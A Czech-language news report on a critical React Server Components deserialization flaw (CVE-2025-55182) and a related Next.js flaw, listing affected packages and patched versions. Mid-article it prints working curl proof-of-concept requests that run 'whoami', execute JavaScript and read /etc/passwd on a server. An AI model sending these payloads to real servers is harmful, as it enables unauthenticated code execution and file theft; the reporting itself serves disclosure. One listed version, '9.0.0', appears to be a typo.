Zranitelnost v serverových komponentách Reactu umožňuje spuštění kódu na straně serveru.

V serverových komponentách webového frameworku React (RSC) byla opravena zranitelnost (CVE-2025-55182), která mohla umožnit spuštění libovolného kódu na serveru odesláním požadavku na serverový obslužný program. Zranitelnost byla ohodnocena jako kritická (10 z 10). Zranitelnost se týká experimentálních komponent react-server-dom-webpack, react-server-dom-parcel a react-server-dom-turbopack, které se používají ke spouštění funkcí a generování prvků rozhraní na serveru, nikoli na klientovi.

Problém je způsoben nebezpečnou deserializací dat přijatých v HTTP požadavcích na obslužné rutiny serveru. Obslužné rutiny „vm#runInThisContext“, „vm#runInNewContext“, „child_process#execFileSync“ a „child_process#execSync“ lze použít ke spouštění systémových příkazů nebo kódu JavaScript v kontextu aktuálního procesu (obejde se izolace sandboxu). Je také možné použít obslužné rutiny „fs#readFileSync“ a „fs#writeFileSync“ ke čtení a zápisu libovolných souborů na server, pokud to aktuální přístupová práva dovolují. Útok nevyžaduje ověřování. K dispozici je prototyp zneužití. # Spusťte příkaz whoami curl -X POST http://localhost:3002/formaction \ -F '$ACTION_REF_0=' \ -F '$ACTION_0:0={"id":"child_process#execSync","bound":["whoami"]}' # Spusťte JavaScriptový kód 1+1 curl -X POST http://localhost:3002/formaction \ -F '$ACTION_REF_0=' \ -F '$ACTION_0:0={"id":"vm#runInThisContext","bound":["1+1"]}' # Přečtěte soubor /etc/passwd curl -X POST http://localhost:3002/formaction \ -F '$ACTION_REF_0=' \ -F '$ACTION_0:0={"id":"fs#readFileSync","bound":["/etc/passwd","utf8″]}'

Zranitelnost systému závisí na použití zranitelných serverových komponent react-server-dom-webpack, react-server-dom-parcel a react-server-dom-turbopack. Aplikace, které nepoužívají react-server, nejsou ovlivněny. Rozsah, v jakém zranitelnost ovlivňuje produkční systémy používající React, není jasný. React je jeden z nejpopulárnějších webových frameworků (používá ho přibližně 6 % webů) a zranitelné komponenty jsou uchovávány v hlavním repozitáři a zahrnuty do verzí. Zranitelné komponenty jsou také podporovány ve frameworkech založených na Reactu, jako jsou Next.js a react-router. Podle Wiz Research byly zranitelné instance identifikovány ve 39 % analyzovaných cloudových prostředí.

Na druhou stranu, generování obsahu server přes React Server Komponenty nejsou často používanou funkcí (většina webů založených na Reactu vykresluje uživatelské rozhraní pouze na straně klienta) a zranitelné komponenty jsou označeny jako experimentální a není zaručeno, že budou fungovat správně. Tyto komponenty mají relativně malý počet přímých stažení z repozitáře NPM: react-server-dom-webpack – 670 000 týdně, react-server-dom-parcel – 7 000 a react-server-dom-turbopack – 32 000. Pro srovnání, balíček React NPM má 45 milionů stažení týdně.

Tato zranitelnost se vyskytuje v Reactu verzí 9.0.0, 19.1.0, 19.1.1 a 19.2.0 a byla opravena v Reactu 19.0.1, 19.1.2 a 19.2.1. Zranitelné komponenty se používají také v balíčcích Next.js (16 milionů stažení týdně), react-router (20 milionů stažení týdně), waku, @parcel/rsc, @vitejs/plugin-rsc a rwsdk.

Zranitelnost (CVE-2025-66478) v frameworku Next.js ovlivňuje aplikace používající App Router a Next.js 15.x a 16.x. Zranitelnost údajně ovlivňuje výchozí konfiguraci Next.js (výchozí aplikace vytvořená utilitou create-next-app je zranitelná). Uživatelům se doporučuje, aby si co nejdříve nainstalovali aktualizaci Next.js 15.0.5, 15.1.9, 15.2.6, 15.3.6, 15.4.8, 15.5.7 nebo 16.0.7.

Zdroj: opennet.ru

Kupte si spolehlivý hosting pro stránky s DDoS ochranou, VPS VDS servery 🔥 Kupte si spolehlivý webhosting s ochranou DDoS, VPS VDS servery | ProHoster